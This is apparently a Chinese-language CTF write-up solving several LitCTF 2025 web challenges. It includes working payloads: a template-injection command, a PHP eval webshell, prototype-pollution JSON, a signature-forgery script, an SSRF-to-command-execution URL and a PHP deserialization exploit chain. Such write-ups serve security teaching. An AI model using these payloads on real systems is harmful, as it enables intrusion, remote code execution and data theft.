Web

星愿信箱

image-20250527121754925

看起来有点像模板注入,看起来数字被过滤掉了,一些跟配置文件相关的参数也被过滤掉了

image-20250527122410477

首先是会匹配字母,否则返回:愿望需要包含文字内容噢)~

然后匹配到连续的两个花括号,返回:愿望被神秘力量屏蔽了~

这里两个{% if ... %}1{% endif %}{%print(......)%}都可以用,此时数字没有过滤

后续发现只过滤了双花括号还有cat

1
{%print(lipsum.__globals__.__builtins__['__import__']('os').popen('more /flag').read())%}

image-20250527130433940

nest_js

根据长度爆破出弱密码

image-20250527133215082

然后就出了…

easy_file

image-20250527134130940

依旧是弱密码爆破

image-20250527134446198

1
password

image-20250527134537339

image-20250527140125373

怀疑是否有nginx解析漏洞?尝试一下

制作图片🐎并上传,这里不能上传png图片,换成jpg试试image-20250527140857802

发现是过滤了php,可以改成

1
<?= @eval($_POST['cmd']);?>

image-20250527142506054

不太行,后查看登录页源码发现hint

image-20250527143417014

这里是file参数来查看头像,那么可以猜测这里是通过文件包含的逻辑

image-20250527145206102

此时的mm.jpg是在上传mm.php的基础上直接改成jpg后缀的,后续我把admin.php源码翻出来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
<?php

session_start();


if (!isset($_SESSION['authenticated']) || !$_SESSION['authenticated']) {
header('Location: index.html');
exit;
}

ob_start();


$upload_result = '';
$block = ['file', 'http', 'https', 'ftp', 'php', 'zlib', 'data', 'glob', 'phar', 'ssh2', 'rar', 'ogg', 'expect', 'log'];

if (isset($_FILES['avatar'])) {
$uploaddir = 'uploads/';
!is_dir($uploaddir) && mkdir($uploaddir, 0755, true);

$uploadfile = $uploaddir . basename($_FILES['avatar']['name']);
$ext = pathinfo($_FILES['avatar']['name'], PATHINFO_EXTENSION);
$file_content = file_get_contents($_FILES['avatar']['tmp_name']);

if ($ext != 'txt' &&$ext != 'jpg' ) {
$upload_result = "恶意后缀";
} else {
if (preg_match("/<\?php/i", $file_content)) {
$upload_result = "你的文件内容不太对劲哦";
} else {
if (move_uploaded_file($_FILES['avatar']['tmp_name'], $uploadfile)) {
$upload_result = "上传成功!文件路径:" . $uploadfile;
} else {
$upload_result = "文件上传失败";
}
}
}
}


$include_result = '';
if (isset($_GET['file'])) {
$file = $_GET['file'];
$isBlocked = false;
foreach ($block as $blockedWord) {
if (stripos($file, $blockedWord) !== false) {
$include_result = "WAF!";
$isBlocked = true;
break;
}
}
if (!$isBlocked) {
include($file);
}
}


ob_end_flush();
?>

这里用了include($file)也就不足为奇了

多重宇宙日记

注册后界面如下

image-20250527151543265

感觉像一个原型链污染

查看源码发现了isAdmin属性

image-20250527151520148

1
2
3
4
5
6
7
{
"settings":{
"theme":"quar",
"language":"quar",
"isAdmin":true
}
}

或者直接更改其原型也可以

1
2
3
4
5
6
7
8
9
{
"settings":{
"theme":"quar",
"language":"quar",
"__proto__": {
"isAdmin": true
}
}
}

这样就修改了所有JavaScript对象的原型,每一次创建settingsPayload对象其isAdmin属性默认为true,每一个用户都可以登入管理员面板了

easy_signin

通过dirsearch工具发现以下文件

image-20250527185338353

image-20250527190321356

这里输入密码后回显账户错误,但是又无法更改,但可以通过抓包更改,正确的账户是admin,不过需要MD5加密

image-20250527190426117

此时回显密码错误

image-20250527190641346

爆出来一个,但是回显签名验证失败,我们先去看看密码明文是啥

1
2
0192023a7bbd73250516f069df18b500
admin123

我们通过源代码来看看是如何进行签名验证的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
const md5Username = CryptoJS.MD5(rawUsername).toString();   
const md5Password = CryptoJS.MD5(rawPassword).toString();


const shortMd5User = md5Username.slice(0, 6);
const shortMd5Pass = md5Password.slice(0, 6);


const timestamp = Date.now().toString(); //五分钟


const secretKey = 'easy_signin';
const sign = CryptoJS.MD5(shortMd5User + shortMd5Pass + timestamp + secretKey).toString();

try {
const response = await fetch('login.php', {
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded',
'X-Sign': sign
},
body: new URLSearchParams({
username: md5Username,
password: md5Password,
timestamp: timestamp
})
});

其中

1
const sign = CryptoJS.MD5(shortMd5User + shortMd5Pass + timestamp + secretKey).toString();

有加密后的用户名,密码的MD5字符串的前6位字符组成,再加上当前时间戳以及已给出的secretKey,最后再次进行MD5加密,此时我们既然知道了正确的账号密码,只需要伪造签名即可

Poc如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
const CryptoJS = require('crypto-js');

rawUsername = "admin";
rawPassword = "admin123";

const md5Username = CryptoJS.MD5(rawUsername).toString();
const md5Password = CryptoJS.MD5(rawPassword).toString();

const shortMd5User = md5Username.slice(0, 6);
const shortMd5Pass = md5Password.slice(0, 6);

timestamp = "";
const secretKey = 'easy_signin';
const sign = CryptoJS.MD5(shortMd5User + shortMd5Pass + timestamp + secretKey).toString();

console.log("sign:", sign);
console.log("md5Username:", md5Username);
console.log("md5Password:", md5Password);

image-20250527191852120

访问/backup/8e0132966053d4bf8b2dbe4ede25502b.php提示非本地用户

当我想用修改HTTP头部xff设置访问IP地址时还是不管用,于是再次在登录页面找到api.js

image-20250527193525536

1
/api/sys/urlcode.php?url=

构成SSRF漏洞

image-20250527194125103

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php
if ($_SERVER['REMOTE_ADDR'] == '127.0.0.1') {
highlight_file(__FILE__);

$name="waf";
$name = $_GET['name'];


if (preg_match('/\b(nc|bash|sh)\b/i', $name)) {
echo "waf!!";
exit;
}


if (preg_match('/more|less|head|sort/', $name)) {
echo "waf";
exit;
}


if (preg_match('/tail|sed|cut|awk|strings|od|ping/', $name)) {
echo "waf!";
exit;
}

exec($name, $output, $return_var);
echo "执行结果:\n";
print_r($output);
echo "\n返回码:$return_var";
} else {
echo("非本地用户");
}

?>

直接命令执行即可,不过值得注意的是,对于会被url编码的字符需要双重url编码

image-20250527200333980

直接cat 327a6c4304ad5938eaf0efb6cc3e53dc.php回显看不见哦

因此我们现看看urlcode.php的源码

image-20250527200819627

最终payload,当然也可以直接访问8e0132966053d4bf8b2dbe4ede25502b.php

1
http://node6.anna.nssctf.cn:24982/api/sys/urlcode.php?url=http://127.0.0.1/backup/8e0132966053d4bf8b2dbe4ede25502b.php?name=cat%2520/var/www/html/3*

image-20250527201009071

后面看到其它师傅通过大小写绕过进行伪协议访问,一开始我通过 http://127.0.0.1/api/sys/urlcode.php并不能得到全部快照,可以说输出的快照根本没有可用的代码,当然也可以用file://协议

可以说这样就根本不用登录进去,我这个做法估计是预期解,其它师傅们的做法就很简单了

君の名は

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
<?php
highlight_file(__FILE__);
error_reporting(0);
create_function("", 'die(`/readflag`);');
class Taki
{
private $musubi;
private $magic;
public function __unserialize(array $data)
{
$this->musubi = $data['musubi'];
$this->magic = $data['magic'];
return ($this->musubi)();
}
public function __call($func,$args){
(new $args[0]($args[1]))->{$this->magic}();
}
}

class Mitsuha
{
private $memory;
private $thread;
public function __invoke()
{
return $this->memory.$this->thread;
}
}

class KatawareDoki
{
private $soul;
private $kuchikamizake;
private $name;

public function __toString()
{
($this->soul)->flag($this->kuchikamizake,$this->name);
return "call error!no flag!";
}
}

$Litctf2025 = $_POST['Litctf2025'];
if(!preg_match("/^[Oa]:[\d]+/i", $Litctf2025)){
unserialize($Litctf2025);
}else{
echo "把O改成C不就行了吗,笨蛋!~(∠・ω< )⌒☆";
}

开始进行反序列化时

首先会触发__unserialize魔术方法(PHP版本需大于7.4才支持),data参数的键名和值与序列化字符串中的属性对应,($this->musubi)()可以假设是在把对象被当作函数调用,此时会触发__invoke()魔术方法;

接着$this->memory.$this->thread;可以指定为KatawareDoki的实例,此时被当作字符串处理触发__toString()魔术方法;

然后有注意到整个代码中没有定义flag函数,当调用的方法不存在时触发__call()魔术方法;

最后这里多半需要利用这个create_function,但是这是个匿名函数在这里,并且没有定义给任何一个变量,但实际上其会返回一个字符串,这个字符串就是该匿名函数的内部名称

image-20250528233029709

我们可以像调用普通函数一样使用这个字符串来调用它,需要注意的是每执行一次都会+1(注意在PHP中我们表示一个空字节需要写成\00lambda_1

但最终形式是 (new $args[0]($args[1]))->{$this->magic}();,相当于是我们要找到一个类其实例化对象的一个方法可以调用这个匿名函数,在这里是利用ReflectionFunction

PHP 内置的一个反射类,专门用于反射函数,这意味着你可以使用它来获取关于一个函数的信息,比如它的名称、参数、返回值类型、静态变量等等。它还允许你调用这个函数。

这里是invoke方法

1
2
3
4
5
6
7
<?php
function myFunction($a, $b) {
echo "Hello, " . $a . " and " . $b . "!\n";
}
$reflectionFunc = new ReflectionFunction('myFunction');
$reflectionFunc->invoke('World', 'PHP');
?>

同时我们还发现类中都是私有属性,其序列化后会跟%00,对于php7.1+ 属性并不敏感

Exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
class Taki
{
public $musubi;
public $magic = "invoke";
}

class Mitsuha
{
public $memory;
public $thread;
}

class KatawareDoki
{
public $soul;
public $kuchikamizake = "ReflectionFunction";
public $name = "\00lambda_1";
}

$Taki = new Taki();
$Taki->musubi = new Mitsuha();
$Taki->musubi->memory = new KatawareDoki();
$Taki->musubi->memory->soul = $Taki;

$evil=array("evil"=>$Taki);
$o=new ArrayObject($evil);
echo urlencode(serialize($o));
?>

最后的输入会检查O开头,这里需要用到自定义序列化以C开头,反序列化时优先调用__unserialize()方法

但直接使用C开头就无法携带其它属性,因为其不直接处理属性,而是存储原始字节数据

1
C:<类名长度>:"<类名>":<数据长度>:{<自定义二进制数据>}

O: 格式(普通对象序列化)完整保存对象状态

1
O:<类名长度>:"<类名>":<属性数量>:{<属性名>;<属性值>...}

因此我们需要通过ArrayObject将目标对象作为数组元素包裹

  • 外层C:绕过过滤
  • 内层O:携带恶意属性

注意这里我使用的7.3.4版本,而7.4版本对于ArrayObject序列化后的总字符数只有3,少的可怜,而且两者的payload相比有明显的区别,这里我不太清楚为什么会这样,可能是机制上的改变,如果有师傅清楚可以讨论讨论

1
Litctf2025=C%3A11%3A%22ArrayObject%22%3A244%3A%7Bx%3Ai%3A0%3Ba%3A1%3A%7Bs%3A4%3A%22evil%22%3BO%3A4%3A%22Taki%22%3A2%3A%7Bs%3A6%3A%22musubi%22%3BO%3A7%3A%22Mitsuha%22%3A2%3A%7Bs%3A6%3A%22memory%22%3BO%3A12%3A%22KatawareDoki%22%3A3%3A%7Bs%3A4%3A%22soul%22%3Br%3A4%3Bs%3A13%3A%22kuchikamizake%22%3Bs%3A18%3A%22ReflectionFunction%22%3Bs%3A4%3A%22name%22%3Bs%3A9%3A%22%00lambda_1%22%3B%7Ds%3A6%3A%22thread%22%3BN%3B%7Ds%3A5%3A%22magic%22%3Bs%3A6%3A%22invoke%22%3B%7D%7D%3Bm%3Aa%3A0%3A%7B%7D%7D